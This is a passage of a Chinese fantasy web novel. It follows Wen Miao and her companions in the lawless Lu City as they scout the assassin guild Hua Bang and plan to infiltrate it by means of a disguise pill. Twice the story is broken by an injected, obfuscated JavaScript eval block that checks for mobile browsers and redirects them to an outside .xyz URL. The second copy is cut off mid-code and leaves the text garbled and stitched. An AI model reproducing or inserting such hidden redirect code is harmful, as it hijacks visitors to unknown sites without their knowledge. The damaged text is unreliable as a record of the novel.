在米店里的时候,温渺便隐隐感觉自己好像忘了点什么事情,如今金不收一说,她便猛地想起来了,忙问他:“你不是将家产变卖,尽数用来寻找你妹妹……”一路上他还穷到给酒楼客栈奏乐换取路费,怎么在米店的时候又二话不说掏出一锭金子? 凌雨愣了一下,随后解释道:“我将翦花变卖了。” 他指了指自己身后背着的琴袋。“这只是寻常阮琴。” "翦花不是家传法宝吗?" 凌雨无所谓道:“可以赎回来,眼下有比一件死物更值得我在意的事。”温渺知道他说的是妹妹,只好道:“也是,能找回你妹妹才是最紧要的。” 她本来想说温朗的事若能解决,日后也愿意帮助他赎琴。但转念 想,荐微那儿还欠了一千两呢,承诺的兑现遥遥无期,还不如暂且不要夸下海口。凌雨问:“你已经到了露城,接下来,想要如何找到凶手?” 金不收接话:“没听她说吗?偷账本。偷之前可要知会我一声,我好躲远些,免得你被打死还溅我一身血。” 刘富贵微微皱眉,提醒她:“注意口德。” 凌雨笑得冰冷,说:“嘴这么欠,若是遇上西陵砚,谁先溅上一身血还未必。” 金不收不以为然:"我运气好得很。" 凌雨:“你最好是。” 温渺听得叹气,金不收的性子,也还好没有跟她哥关在一个大牢,不然温朗关进去半个时辰,两人便已经骂得口干舌燥。刘富贵扫了眼四周的景象,说:“继续往前吧,找到花榜的位置,再考虑接下来如何做。” 凌雨:“继续往前走,最繁华之地,是花榜的至高所在。”温渺犹豫片刻,问:“包括西陵砚,也在那处吗?”“听闻他行踪不定,时常不在城中。”温渺长舒一口气。“那便好。”金不收不说话,也跟着松了口气。 随着他们深入露城,温渺才发现,刚进城的时候遇上的怪人已经算好的了。越往后走,那些神志不清,乱喊乱叫,在街上大肆宣扬异端邪说的人越来越多。 露城中繁华与破败往往只有 一墙之隔,一边是锣鼓喧天,歌舞升平的繁华景象,另一边又可能在哀嚎惨叫,打得血肉横飞。更诡异的是,露城里种了很多花。如今正是冬日,有各式各样的梅花不说,还能看到许多盛放的山茶。 这些炫目至极的花朵,在这座充斥着阴杰与血腥的城中,像是那些随处可见的血渍一般,美丽中又平添了诡魅。 而且温渺发现那些花开得极好,没有被人折损过的痕迹。 连街边的墙上都有刀痕爪印,有些更是坍塌一片,这些花为什么能相安无事? 温渺正想问呢,听到小巷那边似乎有女子痛苦的呻吟声,她扭头正待仔细去看,那声音又好像变得愉悦起来了,紧接着,呻 吟甚至变成了笑声。 意识到了什么,温渺连忙将头扭回去,目不斜视地盯着前方。 虽然只是匆匆一眼,但大白日的,一眼也足够看得清楚。 那两人抵着墙,在做床榻上的那档子事,做得旁若无人,喊得肆无忌惮。 刘富贵一本正经道:“许多邪术修炼以后,会令人狂情放纵,难以自抑。多是变得嗜杀好斗,还有的,便如你方才所见。” 温渺红着脸说:“我没怎么看见……” 金不收见凌雨面色如常,对温渺意有所指地说:“看来你这位好友,对这些早已司空见惯了。”凌雨不耐道:“猪狗般的东西,金大夫想要细看大可以折返回去。” 温渺也不知道为什么这两人如此针锋相对,忙站到凌雨身侧将话岔开。“快到了吗?你说的地方在哪儿?”凌雨与她说话,语气才软了几分。“快了,再过一条街便是。”说着一行人便继续往前走,结果本来过一条街便到,中间遇上有邪修争斗,打得堪称是天地色变。 温渺他们还没走过去,便能感受到脚底的大地仿佛在震动,远处不断传来轰隆的响声,也不知是路被砸出了大坑还是又有房屋瓦舍遭殃,那股四溢的魔气隔着老远都能感觉到。凌雨皱起眉,正要带他们绕路,却又停下脚步,对温渺道:“我有些事要先走一步,晚些我会回来寻你。” 温渺点了点头,没有多问,便看着凌雨快步走了。待他走远,刘富贵看向温渺,面色严肃。“你要当心此人。”金不收也说:“修为这么差,又对露城如此熟悉,难说他不是花榜的根。”温渺问:"什么是‘根''?" 混迹仙门辖地,为花榜刺探情报,从仙门密令到街头巷尾的杂谈,这便足根。当花榜的根,不需要多高的修为, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790168|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至不必是修士,这些根遍布天下各处,又多又杂,比花榜最厉害的杀手更难对付。”温渺摇头:“未经证实,我不想胡乱猜测,毕竟他从未害过我,还两次险些因为我丧命。但我会更谨慎,还是多谢你。” 金不收只是猜测,也没指望三言两语就要人相信,无所谓道:“总之我劝你离他远些,一旦叫他发现你是谁……我可真要躲远点了。” 刘富贵像是安抚一般,走到她身侧,说:“我会护你周全。” 金不收提醒道:“还有为师的周全呢。” 刘富贵凉笑一声:“呵。” 想在露城找到花榜并非什么难事,绕过几条巷子,被几个邪修追了一段路后,他们还是见到了传闻中的花榜。 那是一座极为壮观的建筑,一桩桩楼阁连在一起,中间有悬空连接的木桥,宽阔的高台上甚至还种着花树,那些窗棂上折射出的奇异光彩,是来自镶嵌的宝石和贝母。如此奢靡,几乎是令人目眩神迷。 阁楼正中央,挂着一个牌匾,写着“朝露间”二字。 与其说是楼阁,不如说是楼阁模样的皇宫。 远远望去,能看到纱幔飘扬,最底下几层有人影绰绰,能听到一些乐声从中传来,人客也是络绎不绝。见到一个魔道窝点修建成这副模样,温渺不禁更在心中感念崔掌门的勤俭节约。刘富贵突然说了一句:“街上的打斗停了。” 温渺也反应过来,好像是没有再传来响动,方才还打得天地色变,怎么突然没声了?金不收:“这么快就打死了?”温渺:“或许有人去劝架,让他们握手言和了。” 金不收叹了口气,说:“如果打架的人是你,倒还真有这个可能。”温渺笑了笑,难得说:"是我也未必。" 金不收好奇道:“哦?还有人是连你都不能握手言和的?”“有啊。”她指了指前方的朝露间。"那个人就不行。"她低声强调了一遍。“死也不行。” 虽然已经找到了花榜所在,可进去又是另一码事,他们在朝露间对面不远,找了一个破旧的小客栈住下,准备先想个周密点的办法。金不收说自己要去看看露城的药市,顺带将自己炼制好的“柳无负”拿出去兜售干净,留下温渺和刘富贵留在客栈。 这间客栈胜在离朝露间近,奈何什么人物都有。 温渺想要先填饱肚子,在楼下勉强找了一个长凳腿完好无损的位置坐下,叫来店小二准备点菜。 刘富贵提醒她:“这里的荤菜不能点。” 温渺领会了他的意思,心中一阵恶寒,再看桌面上斑驳交错的打斗痕迹,和不知被什么东西啃烂的桌角,她的胃口顿时消了大半。 于是俩人随意点了两个清淡小菜,想 着随意对付一下。 然而饭吃了一半,另一桌本来正在吃饭的几个男女,竟不知为何起了争执,而后又忽然纠缠作一团。 起初温渺瞥了一眼,见他们撕扯的架势,只怕是要打架。 她还没吃饱,犹豫着要不要将饭菜带上楼去,以免被殃及池鱼。 结果他们撕扯着,竟是将衣物纷纷扯落,随后便如白日巷子里那俩人一般,竟开始又喘又喊,旁若无人地□□起来。 温渺被这荒谬的场面惊得目瞪口呆,站起身看向那店家,示意店家快制止一下。店家拍了拍桌子,斥声道:"干什么呢,在这儿办事!那是另外的价钱!"刘富贵放下筷子,沉默了半晌,轻叹口气。“还是上楼吧。” 温渺点头:“快走。” 说着便逃也似地挡住半边脸,生怕余光再瞥见这场面,只怕夜里都睡不踏实。 等半夜人少些了,温渺也没休憩。 客栈里没什么人,她这才拉上刘富贵下楼去点了一壶热茶,又将银钱推给店小二,探问起了花榜的消息。店小二就在花榜对面,知晓的自然不少。 温渺问得都是些不大要紧的问题,叫人听了也只当她初来露城有些好奇。白日里金不收提到了花榜的“根”,那么有“根”,自然也有花有叶。叶指的是花榜中处理情报,负责大小杂务的中间人,几乎是什么活都干,又各有分工。至于花,自然是指花榜最令人闻风丧胆,来去无踪的杀手。花榜前十的杀手,无不是身怀绝技。店小二说到这些来了兴致,说得眉飞色舞。 “这前十的花呢,有些是修为深厚,杀人手法与众不同,有些是全靠杀的人够多才挤上去的……”他说着,语气还有些鄙夷。"不过呢,有朵花杀的都是棘手的人物,专找天诛榜上的罪犯杀,在花榜结过钱,还提着人头去找仙门要赏金……" 温渺闻言便问他:"那这朵花可曾追杀过那位昆仑的温朗。" “温朗?哦,那不敢杀,城主说了抓他要连根带叶……再说他是昆仑最强的剑修,花榜以前派人去捉过他,每个都吃了好几剑。” 听到这话,温渺强压着笑意,问:“连根带叶是什么意思?” “就是留活口。”他提到温朗,脸上也带着点困惑。“也不知道,城主想要打死他也不难,为什么非得活捉?这得多恨啊,要亲自折磨。” 谁让西陵砚有病呢? 她沉思一番,问:“所以这花榜的杀手都不是他的对手?可刺杀不是可以伪装,只要换个模样接近他,未必不能活捉。” 小二不知想到了什么,激动到两眼都发亮,说:“你算是问对人了,说到伪装,花榜有位前辈为人低调,只要他出手,无败绩!我在这破地方做工到现在还没走人,便是为了偶尔能见上他 面。” 他叹口气,惋惜道:“不过这位前辈模样多变,即便从我面前走过,我也未必能认出……” 刘富贵听到此处,皱眉道:“他是无相?” “正是,可惜我在这地方当了三十年店小二,才知晓他是无相,却也不曾见过这位大人的真面目,他行事隐秘,好些人都不知晓花榜上还有这么个人物,连我都替他可惜….”温渺和刘富贵对视一眼,二人心照不宣。 如此一来,该查什么人,也有了个方向。 只听那店小二还碎碎念叨:“不过伪装这一套,对那温朗行不通,据说此人独来独往惯了,为了防着城主,见谁都要对口号,答不上便拔剑要杀……”温渺又掏出一块碎银推给他,想再多问几句的时候,听到客栈的门口传来脚步声。 她扭头看去,凌雨冲她微微一笑,说:“你果真在此处。” 他提起手里的油纸袋晃了晃,说:“我给你带了枣糕。” 第19章 净心居的院子里种了一棵枣树,据说已经有快两百年了,是不知多少代以前的西陵氏长公子所种下。 历代长公子都是病弱早亡,据说是西陵氏的诅咒。 所以每一代都住在净心居,派几个家仆看管照顾。 有一位家仆,最长送走了四位长公子。 这棵枣树如家仆一般,见证净心居里的人从幼儿长成青年,不等弱冠便无声死去,不变的是从始至终苟延残喘的模样。 之所以是无声,是因为历代长公子都早逝,无论如何说出去是不大好听的。因此在西陵氏,净心居是个讳莫如深的地方,长公子们死去后也会静悄悄地埋葬,做一场小的法事,如此便没有了。净心居被清理干净,用柚子叶里外熏过后,又要迎接新的主人。 当长公子死去后,西陵氏长房中,最先怀胎的人,她的孩子便会成为新的长公子。 轮到西陵砚这一代的时候,西陵府长房只剩下一位女子,她能力出众,将府中上下治理得井井有条,她的夫婿也是入赘府中后改姓西陵。因此她早早便知晓“长公子”会是自己的第一个孩子,也不曾抱有过多少期待,反而克制着自己的不舍,让自己尽量不对他有太多感情,以免日后见到他总要痛心。 好在生下西陵砚后,她虽有一段时日的消沉情绪,却又很快迎来了第二个健康的孩子。 能治理好这么大一个西陵府的人,心智往往要胜过常人许多。西陵砚的母亲并不是冷血无情,她只是更狠得下心,知道如何更好地取舍。即便她当真无情,多数人也能理解。 似乎众人都认为,对于净心居那一位,有情才是一种浪费。于是西陵砚除了幼年时见过父母,待他长大,便很少有机会与他们再见了。虽然他不能离开净心居,但吃穿用度,这些明面上的东西还是不缺的。等他到了年纪,也为他请了夫子,教他读书写字,下棋作画。 西陵砚非常聪慧,也或许是因为只能待在一个地方,能有更多的时间投入到学习中,他的才情让夫子连连夸赞,紧接着,又是声声叹息。最初,夫人也时而会来探望他。 西陵砚将被夫子夸赞的诗画拿出给母亲看,期望着能得到赞许。母亲称赞他比弟弟聪慧,却似乎很快想到什么,笑意又在悄然中黯淡。 父亲则说:“砚儿的聪慧要是给他二弟多好,这孩子整日只知玩闹,功课一点不上进。”父亲口中说着责怪的话,语气却是带着无奈的笑。母亲默认无话,似乎是认同了他所说。西陵砚只知道自己身体弱,他觉得自己以后也能好起来。 于是他问:“我的聪慧,为什么要给弟弟?” 弟弟还可以出去玩闹,他只能留在这里,如果连聪慧都没了,那他还剩下什么呢?西陵砚提问后,两人面上的表情都僵住了,竟是一时无话。他仍懵懂地追问:“母亲为何不说话?”她拢了拢衣袖,目光移开,落在院子里的枣树上。而后她扭过头,静静看着西陵砚,如同望着一潭冰冷的死水。 她的语气如目光一般,平静到有些冷漠。“你再如何聪慧,也不会有任何作用。”西陵砚什么也不懂,却还是下意识心中一颤,有些害怕地问:“为什么?”母亲沉默片刻,终于回答了他的问题。“这是你的命。”再然后,父亲母亲来得更少了。 常常是过节的时候,西陵砚远远听见一些爆竹声,第二天,或者第三天,他就能见到父母。 因此他很喜欢节日,把每个节日都记得很清楚。 只是他再长大一点,即便听到爆竹声,等上三天五天,也等不到他们的身影了。西陵砚更勤奋学习,他只要更加聪慧,便能得到父亲母亲的喜欢。 他让夫子将自己的诗画带去给母亲看,希望她能来见自己,有时候他会直接写信,亳不掩饰自己的想念。 一开始是有用的,但就像那些爆竹声一样,渐渐都不必再等。 西陵砚也明白,他再怎么聪慧,学会更多的东西,也的确如母亲说的那般,不会有任何作用。后来,他懂得了旁人怜悯的目光,也理解了父母的回避,他终于将那些信件诗画连同自己的期待一并收起。来与不来,都已经无所谓了。 反正…. 他倚靠在摇椅上,望向那棵高大的枣树,有个身影正举着竹竿在打落那些青褐色的果子。 果子砸在她脸上,疼得她哎呦乱叫,一边挥动竹竿一边来回闪躲,模样看着很是滑稽。西陵砚看得想笑,问她:“这么多枣,还不够你吃的吗?” 温渺说:“不够,我要带回去跟阿娘一起做枣糕,到时候分给府里人,很快就分完了……”他沉思片刻,问:“那你们要做多久?” 温渺知道他在想什么,扭头笑道:“很快的,几个时辰我就回来啦,不会留公子一个人的。”西陵砚一愣,随即别开眼,缓缓道:"院子里还有其他家仆,我才不是一个人….…"温渺笑笑:"那我也会很快回来的。" 已经是夜半时分,客栈不远处的朝露间灯火通明,照得一旁的河水也浮了层光辉,好似焰火在流动一般。温渺倚在破烂的门框上打量着朝露间,只见其中人影绰绰,仍能听见乐声远远传来。温渺问:“花榜不是杀人和刺探情报的吗?为什么半夜 还这么热闹?”凌雨道:“白日里是典当,夜里是赌坊。” “都当些什么?”温渺想了想。“会不会有白天将东西当了,再拿钱去赌,想夜里就赌回来的。”凌雨道:"常有,只是这交易的东西,未必是金银财宝。可以是修为,也可以是人命。"温渺将油纸包拆开,立刻闻到一股枣糕的香甜。她问:“那你白日没遇到什么麻烦吧?” 凌雨摇摇头,说:“没事。” 刘富贵突然问他:“你要找人,并不需要到露城来,花榜的据点遍布天下,你在米店之时便足以与他交易,为何还要随她来此。”温渺的枣糕塞在嘴里还没咽下去,闻言扭过头愣愣地看着凌雨,似乎也在用目光问他为什么。凌雨不慌不忙道:“我将翦花当给了花榜,准备明日夜里赎回来。” 温渺将枣糕咽下,立刻道:“那不成,赌输了怎么办?赌坊是万万不能碰的。不能等上一段时日,等攒够了钱再去赎回翦花吗?” 他摇摇头,轻叹口气,无奈道:“花榜会将得到的法宝放在朝露间叫卖,他们称之为果。据说翦花就是下一批果,明日夜里便要拿出供人买卖,若流落在旁人手中,只怕再难取回。”那就难办了,这么短的时间内,即便温渺有心,也难以帮到凌雨。要想赎回交到花榜的东西,定要出不少血。 但去赌钱…… 温渺从小便听她阿娘说不能碰赌,在她阿娘口中,赌钱就和用阴杰修炼一般,一旦开始,便是万劫不复。 凌雨看出她的担忧,又劝慰道:“你放心,我不会去赌,我在露城有些熟人,只是想找他们借些银两,好明日将翦花赎回来。”温渺这才放下心来,又道:"这个枣糕很香甜,你在哪儿买的?"凌雨笑了笑,说:“是个偏僻的小铺,从前来露城吃过一回,我便知道你会喜欢。” 她点点头,问:"我能分给别人吗?" 凌雨脸上的笑意有片刻的凝滞,很快又恢复如常,他温声道:“当然可以。” 温渺将糕点递给刘富贵。 “快尝尝,味道真的很不错。” 刘富贵没有拒绝,道谢后将糕点接过,又对凌雨微微颔首,无视他好似冷笑一般的神情,将糕点放入口中。“怎么样,好吃吧。”温渺笑着问他。“还不错。”他冲着凌雨点头。 温渺说:“这个我也会做,虽然卖相没这么好看,但也挺好吃的……” 他低头看着温渺。“嗯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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温渺有些好奇,坐在窗前沉思片刻,不一会儿竟见到那人又回到了朝露间,见到出来的人客,他还笑着点头招呼。这副神态,温渺一下子就想到了西陵府的管事,管事冲着来往府中的客人也是这么笑的。温渺冲到楼下去,店家已经在收拾桌椅准备迎客了,见她这么早醒,招呼了一声又继续做着自己的事儿。 她走到门边儿,好奇道:“店家,我方才见到里面出来个人,走出来没多久又回去了,身上还没有武器,这是做什么的?是里面的客人吗?”他瞄了眼天色,说:“你说的那个人什么模样?” 温渺:“灰色短袍,走到街尾,没一会儿就回去了。太远了没看清长相。” 店家立刻便想到了,说:“哦,那个我知道,他是里头的‘叶'',街角有个馄饨摊 ,他每日这个时辰都要去吃上一碗。”“叶分那么多种,这位是做什么的?” 店家摇头道:"那我哪儿能知道。"温渺犹豫片刻,还是准备上楼去敲响刘富贵的房门。然而走到一半,她便看见刘富贵自己下来了。 “你醒了。” “嗯。” 温渺对他招招手。“那你跟我来。” “去哪儿?” 温渺道:"去吃馄饨。" 路上她早上发现的事告诉刘富贵,他点头,与她朝着店家说的馄饨摊走。 这一路上血迹格外得多,温渺走着走着才想起,这就是白日里有人打架打得轰隆响的那条街。她四处张望了一番,找到了馄饨铺,几个小桌上已经坐了不少人。 锅里正冒着热气,一个个饱满的馄饨漂浮在白汤上。摊上摆了好几个调了料的汤碗,摊主正在往里浇滚烫的面汤。温渺正准备坐下,就被刘富贵一把抓住了手臂。他轻轻地摇了摇头,说:“先等等。” 第20章 仅这一下,温渺很快便领会了刘富贵的意思。 客栈里的肉菜她都不敢吃,更何况路边的馄饨。这街市上满地血迹,昨日还刀光剑影魔气四溢的,正经人谁会在这儿摆摊那么多年。 她想了想便没有动作,正逢街尾一个人影晃晃悠悠地走出来,忽然停住脚步,似是在打量他们,紧接着加快脚步跑了过来。 温渺听到那阵瓶瓶罐罐的碰撞声,就知道是金不收回来了。 她先是跑过来,说:“好香啊,卖馄饨的?” 温渺点头。 那摊贩也看向她们,笑道:“人客站这么久,不来上一碗?”金不收环顾四周,随后撇撇嘴,摆手道:"不了,我吃素。" 摊贩意会地笑笑,将另一口锅掀开,道:“有些人客不好这口,我这儿也有素的。”刘富贵这才冲温渺点头:“坐下吧。”温渺找了角落的小桌坐好,金不收也跟着一起。刘富贵询问摊主:“馄饨怎么卖?” 摊主手上动作不停,麻利地将肉馅裹进面皮。 "素的一两,荤的六百文。"温渺惊愕道:“这么贵?” 不止贵得惊人,素的还比荤的要贵上四百文,露城有自己的货币不成?刘富贵倒是没多问,默默掏钱要付账,金不收高喊:“我也要,记得付我那份!”刘富贵点头,也不与她计较。 温渺忍不住想,如果是凌雨在,怕是前脚笑眯眯地答应,后脚就要让摊贩偷偷往金不收的碗里添肉的。 馄饨熟得很快,三碗热气腾腾的馄饨没一会儿便摆上了桌,上面浮着香油和苍翠的葱花,间起来也是香气扑鼻。摊上仅有的小桌都被坐满了,有人坐在路边捧着碗便吃了起来。除了他们三个,并没有人在意馄饨的荤素,几乎都是要肉馄饨。 温渺想到锅里那些泛着淡淡粉红的肉馄饨,不知怎得闻着这股香气,竟也没什么胃口。 刘富贵的位置离摊贩最近,他问:“这条街似乎不算安生,老板在此处做生意,不怕被人翻桌吗?” 摊贩随口道:“想翻我的桌,也得看有没有那个本事。” 能在露城安身的人,能有几个是善茬? 要么是自己修为高强,要么便是背后有人罩着。 露城中人并不隐藏魔气,然而温渺在这摊贩身上感受不到浓郁的魔气,显然并没有吸取大量阴杰来修行,甚至有可能只是个凡人。 温渺好奇道:"那是老板手艺非凡,有人客相护了?" 她说起这个,老板脸上果然露出点得意来,笑眯眯道:“那可不,花榜有位大人,每日都要来我摊上吃上一碗,翻我的桌便是掀他的碗,看谁敢。” 金不收已经吃完了一碗,温渺小声问:“你还要吗?” 她点头,温渺将自己那碗推过去。“你自己舀吧,吃多少舀多少。” 刘富贵继续刻意问他:“花榜中随便一位都这般了得,竟能吓得附近一代魔道中人不敢侵扰?” 老板随口道:“那可不是,那位人客专门给榜上的花算人头账的,跟几位花颇有交情,不是寻常人。” “算人头帐?”温渺不大能听懂,有些困惑地看向金不收。 金不收又吃完了碗里的馄饨,准备再从温渺碗里舀几个走,刘富贵伸手挡住她的碗,将自己的碗推过去。“可以了,我的给你。” 金不收接过,说:“要叫师尊,说师尊徒儿敬你,没礼貌。” 而后她看向温渺,解释道:“这都不明白,杀手拿的是人命钱,当然是人头账。” 她说完,转而又去问摊主:“听闻五邪都在榜上,柳无负一颗人头价值六千两,是不是真的?” 摊主说:“这倒是真的,但那老王八难杀得很。” 刘富贵道:“苍山有诛魔法阵,邪魔不敢作乱,柳无负行事隐秘,轻易不离开苍山派,即便是西陵砚,也难取他性命。” 温渺还在想着那摊贩说的话。 来馄饨摊上的那位,既然是花榜中给花算人头帐的,岂不是知晓那些杀手都杀了什么人,才能按照任务结钱。既然如此,必然也知晓是谁杀了柳雪堂。 虽说他们现在怀疑杀柳雪堂的人,极有可能是花榜十大杀手之一的一人千面,可到底无凭无据,柳无负绝不可能认账。但花榜杀人既然也要记账结钱,总能留下点什么蛛丝马迹。 温渺心中已经大致有了点主意,这才接着方才的话问:“西陵砚不是花榜之主吗?怎么还能请人杀他吗?”“有啊,反正他是不介意,但凭旁人有没有这个本事了。” 她问:“那他的人头多少钱?” 那摊贩应道:“免费。” 金不收叹息道:”免费的才是最贵,好了,吃完了走吧。" 小摊上其他人吃得正香,一行人起身离去,温渺望了眼盆里粉白的肉馅,胃里仍是不大好受。走出一段距离后,她才小声问:“这肉……当真是人肉吗?”金不收道:“那不然呢,谁家素馄饨贵成这样?”温渺摇摇头。“这么多人肉,岂不是伤天害理……”刘富贵却问她:“你心中可是有主意了?” 温渺点头。 金不收仍在说:“哪用得着亲自伤天害理,这条街乱糟糟的,每日不知多少人 杀来杀去,在这儿开店,肉馅路边捡捡就够了……” 她说完发现温渺正看着自己,不禁挑了挑眉,问:“怎么……想找我帮忙?” 温渺道:“我想托你帮我炼制易容丹……” 寻常易容丹,只要混入对方的血肉,便能短暂化作对方的模样。她想要扮作那名叶的模样,混入花榜找寻证据,证明杀死柳雪堂的人是花榜杀手。 金不收毫不客气道:“这是另外的价钱。” "需要多久能炼出,我先赊账。" “露城中能买到所需的药材,至于易容所需的血肉,要你们自己找来。若你回不来……”金不收看了看她,又看了看刘富贵,意味深长道:“那我就去昆仑找荐微要。” 温渺无奈道:“仙长是我的恩人,你莫要因为我去打搅他,若我回不来,你找……找温朗便是了。” 金不收嗤之以鼻。“找他?他们剑修都是穷鬼,你哥更是一副穷酸相,都自身难保了,纸钱我可不收。” 好在温渺已经习惯了她的嘴欠,深吸一口气,摇头道:“金大夫,你这样说话很容易得罪人的。” 她很好奇,金不收行医多年难道没有被打过,应该不止待过苍山的牢房吧? 刘富贵冷着脸看向金不收。"需要多久?"“药材齐全,十二个时辰能炼出,加急要三个时辰。” 温渺似乎已经知道她接下来要说什么,直接道:“加急也是另外的价钱吧。”金不收坦荡道:“那是自然。”刘富贵点头,说:“要多少,我给你。” 温渺忙道:“还是我自己赊账吧,为温朗和仙长,为欠下的恩情,我都要平安回来……” “你自己呢?”刘富贵低头看她。"不为旁人,你也该平安活着。"温渺愣了一下,她没想到对方会这么说,她的确没有想过这一点。要是没有了亲人,没有荐微仙长的恩情,不再有牵挂和背负,她该怎么好好活着。她以前想着是跟家人一起,但要是家人都没有了,只剩下她,又能做什么呢? "你的天分很好,你该有更多想做的事,只是不曾去细想。"刘富贵道。 温渺不禁讶异:“你怎么知道我天分好?” 刘富贵:"金大夫说的。" "我?”金不收疑惑地看向他,二人对视一眼,她点点头。“哦对,我说的。" 温渺不由想起在不信教中救人的时候,他们解救出了许多尚未被妖花吸干生气的百姓,虽然那次遇到了许多危险,但后来知道有许多人得救,她心中的愉悦简直难以言说。那时候她正因为寻找不到温朗,心情一直低落,情绪总像根绷紧的弦一般,直到得知许多人得救,她才终于感受到了久违的欢快。 那她要做什么呢? 温渺低头沉思。是做好事就高兴吗? 但也不全是,有时候她做的未必都是好事,只是因为她想做而已。那她究竟想做什么?她好像还没看清前方的路。 刘富贵说:“答案可以慢慢想,你还有很多时间。” 回到客栈后,温渺又和刘富贵商量了一番。 他们的计划是,等金不收在露城买够了制作易容丹的药材,她便跟刘富贵 起,不等天亮便跨守在途径馄饨摊的破烂墙壁后,想办法将那名花榜的叶制住,取他的血炼制易容丹,温渺再化作他的模样顶 替他进入花榜,寻找关键的证据。 若能证明凶手是一人千面,他们还要去追查一人千面的下落。 这计划说起来简单,要做起来要考虑的东西却更多。 温渺抱着自己的剑,看了看刘富贵,又看了看金不收,总觉得他们三个就是临时搭起来的草台班子,遇到点变故恐怕就要散架。 金不收睨了她一眼,问:“看什么呢?害怕了?” 温渺为难道:“也不是,只是第一件事,要截住花榜的人,虽说他只是中间的叶,可到底归属花榜,不知他的深浅,我们几个…….” 我们几个看上去没一个能打的啊! 万一出师不利,没将人制住,反叫人打死,那当真是……当真是死不瞑目! 刘富贵安抚道:“别怕,我没有那么弱。” 金不收也拍着她的肩膀说:“这你就不用操心了,再来十个也不够他打的。”温渺虽然知道金不收爱开玩笑,有时候不太正经,但这种要命的事,她应道不至于胡说。 可第一次见刘富贵,她就说刘富贵背着剑袋是在装高手……金不收知道温渺在想什么,笑道:"我说他装高手,也没说他不能打啊,谁说医修就不能打了……" 接着她侃侃而谈:“你啊,我说他医术差,那不就是经常给人吃错药,越治越病,治死人可不叫人追着打吗?那定要修行防身之法,否则岂不早被人打死了。他医术越差,迫着他打的人就越多,一来 二去,医术不见长进,反而是剑法造诣越发上去了..." 刘富贵听得面无表情,见温渺一脸认真,出声提醒她:“我不曾医死人。”温渺当然相信他说的话,点点头,转而又问:"那金大夫也是道法高强吗?" 据她所知,许多药修炼制丹药,身体强健延年益寿不难做到,增添修为难了点但也不稀罕,只是修 为高深和道法高强是两码事。不少药修都是修为高深,但效果主要呈现在比较耐揍,真正打起来只能躲远点撒撒药粉。依照金不收这种说法,温渺认为她只靠抗揍是不够用的。金不收这次倒是实话实说:"我逃跑的术法练得不错。" 刘富贵淡淡道:“于你而言,倒是实用。” 金不收听出他的话外音,一点也不生气,反笑嘻嘻问温渺:“我可以教你几招,学不学?你的拜师费折半,只要五百两,赊账也行。” 温渺连连摆手。“金大夫好意,我先不用了,我们还是忙正事吧。” 金不收见她大紧细,叹息道:“怕什么,混到花榜去,将花榜条掉柳雪堂的证据找出。抓不到凶手也不急,富贵这么厉害,让他随便速一个花榜的杀手交上苍山,就说人是他杀的,他不认我有的是办法让他认。” 温渺立刻道:“那不行!这岂不是黑白不分,让真正的凶手逍遥法外。用冤枉人的办法洗清另一个冤屈,温朗知晓了也不会同意的……” 金不收忍不住骂她:“死脑筋!什么冤枉,能有命重要吗?这是不得已的办法,反正都是花榜的人,死谁不是死。等你将人抓住,温朗坟头草都齐腰了。” 温渺也道:“还没到真正不得已的时候,我会尽力而为。” 金不收戳着她的脑袋,咬牙切齿地说:“什么脑袋,省事省力的你不选,非要走最难的路。” 她才发现,温渺总是在这种事上犟得出奇。 金不收继续争道:“冤枉一个坏人,救一个好人,还给坏人积了德,多好的事啊。偶尔放宽一下底线,这叫审时度势。” 温渺仍摇了摇头,认真道:“金大夫是好意,但还没有到逼不得已的时候。若做起事来,一开始便想着放宽底线,日后便会习以为常,底线也越放越宽,路上有一丝坎坷都无法走过了。”金不收见她如此坚持,一时哑然无话。 刘富贵沉默良久,忽然道:“据我所知,你在江湖上行医许久,屡屡炼制禁药被组拿。你既爱钱如命,不惜私制禁药,无相易容丹价值不菲,但你从不曾因此药被抓捕。他看着她,问:"为什么,你是药修,找到一个存世的无相,对你并不难。"金不收猛地抬起脸,面色不佳地看着刘富贵,温渺从不曾见她如此严肃的神情。她嘴唇动了动,却又什么没说,索性别开脸,冷冷道:“我是药修,擅长救人,不是杀人。” “只是需要无相的血肉,不会杀死他们。私制无相易容丹的药修不在少数,即便你真的做了,也不至于受人非议,何况你私制的禁药不差这一种……”金不收瞪了他一眼,却没说什么,而是扭头看着温渺。“虽然你是个死脑筋,但偶尔也有道理。” 她说:"我再穷困潦倒,也不会用无相的血肉换钱。" 刘富贵道:“若逼不得已呢?” 金不收知道他想说什么,不耐烦道:“我知道你想替这姑娘说话,没到那逼不得已的时候,行了……” 药修一直以来都有规矩,不能用开了灵智的生灵炼药,一旦为贪欲开了这个头,总有一日要止不住。从无相的血肉,到无相的命,日后还有更多活人,这么修炼下去离入魔也不远了。 修道之路难免坎坷难行,利用邪术修炼倒是进步飞速,可若人人如此,遇到坎坷便先寻求捷径,这天下岂不邪魔泛滥,早无正道可言。 温渺没想那么多,她只是觉着有些事做了,心里永远都不会舒坦。 刘富贵见温渺低头沉思,问:“在想什么?” “我知晓我只是运气好…”她想到了温朗,为了救她,宁愿不仁不义,做他不想做的事。 还有西陵府死去的众人,被不信教坑害的百姓,他们连活着都要面临走投无路。这世上多得是尽力而为,仍然只能逼不得已的时候。她好像隐隐想到了,自己想做什么了。 温渺说:“我要认真修炼,我一定会活下去。” 金不收瞥她一眼,莫名其妙道:“怎么突然说这种话,神叨叨的。”她只有变得更强,才能尽自己最大的能力,让更多的人不用逼不得已。刘富贵没有问什么,只是低头看她,轻声道:“若有不解,可来问我。” “多谢你。” 